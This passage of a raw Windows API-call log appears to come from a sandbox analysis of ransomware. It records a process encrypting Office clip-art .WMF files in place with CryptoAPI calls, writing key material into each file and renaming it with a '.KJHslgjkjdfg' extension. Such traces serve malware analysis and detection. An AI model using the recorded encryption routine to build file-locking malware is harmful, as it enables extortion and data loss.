dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.123] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.123] GetProcessHeap () returned 0x2a0000 [0154.123] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.123] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.123] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.123] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.123] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.123] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.123] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.123] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.124] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.124] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.124] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e7c, lpOverlapped=0x0) returned 1 [0154.125] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e80) returned 1 [0154.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.125] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e80, lpOverlapped=0x0) returned 1 [0154.125] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.125] SetEndOfFile (hFile=0x114) returned 1 [0154.128] GetProcessHeap () returned 0x2a0000 [0154.128] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.128] GetProcessHeap () returned 0x2a0000 [0154.128] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.kjhslgjkjdfg")) returned 1 [0154.130] CloseHandle (hObject=0x114) returned 1 [0154.131] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0154.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.131] GetProcessHeap () returned 0x2a0000 [0154.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.131] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.134] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.134] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.134] GetProcessHeap () returned 0x2a0000 [0154.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.135] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.135] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.135] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.135] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.135] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.135] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.135] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.135] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.135] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.135] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e7c, lpOverlapped=0x0) returned 1 [0154.137] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e80) returned 1 [0154.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.137] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e80, lpOverlapped=0x0) returned 1 [0154.137] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.137] SetEndOfFile (hFile=0x114) returned 1 [0154.140] GetProcessHeap () returned 0x2a0000 [0154.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.141] GetProcessHeap () returned 0x2a0000 [0154.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.kjhslgjkjdfg")) returned 1 [0154.143] CloseHandle (hObject=0x114) returned 1 [0154.143] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0154.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.144] GetProcessHeap () returned 0x2a0000 [0154.144] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.145] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.145] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.145] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.145] GetProcessHeap () returned 0x2a0000 [0154.145] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.145] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.145] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.145] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.147] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.147] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.148] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.148] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.148] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.148] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7e0, lpOverlapped=0x0) returned 1 [0154.148] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e0) returned 1 [0154.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.148] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7e0, lpOverlapped=0x0) returned 1 [0154.148] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.148] SetEndOfFile (hFile=0x114) returned 1 [0154.151] GetProcessHeap () returned 0x2a0000 [0154.151] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.151] GetProcessHeap () returned 0x2a0000 [0154.151] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.kjhslgjkjdfg")) returned 1 [0154.152] CloseHandle (hObject=0x114) returned 1 [0154.153] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0154.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.154] GetProcessHeap () returned 0x2a0000 [0154.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.154] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.154] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.157] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.157] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.157] GetProcessHeap () returned 0x2a0000 [0154.157] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.157] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.157] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.158] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.158] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.158] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.158] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.158] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.158] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.158] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9bc, lpOverlapped=0x0) returned 1 [0154.158] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c0) returned 1 [0154.158] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.158] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9c0, lpOverlapped=0x0) returned 1 [0154.159] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.159] SetEndOfFile (hFile=0x114) returned 1 [0154.161] GetProcessHeap () returned 0x2a0000 [0154.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.161] GetProcessHeap () returned 0x2a0000 [0154.161] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.kjhslgjkjdfg")) returned 1 [0154.163] CloseHandle (hObject=0x114) returned 1 [0154.163] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0154.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.164] GetProcessHeap () returned 0x2a0000 [0154.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.164] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.174] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.174] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.174] GetProcessHeap () returned 0x2a0000 [0154.174] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.175] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.175] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.175] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.175] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.175] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.175] 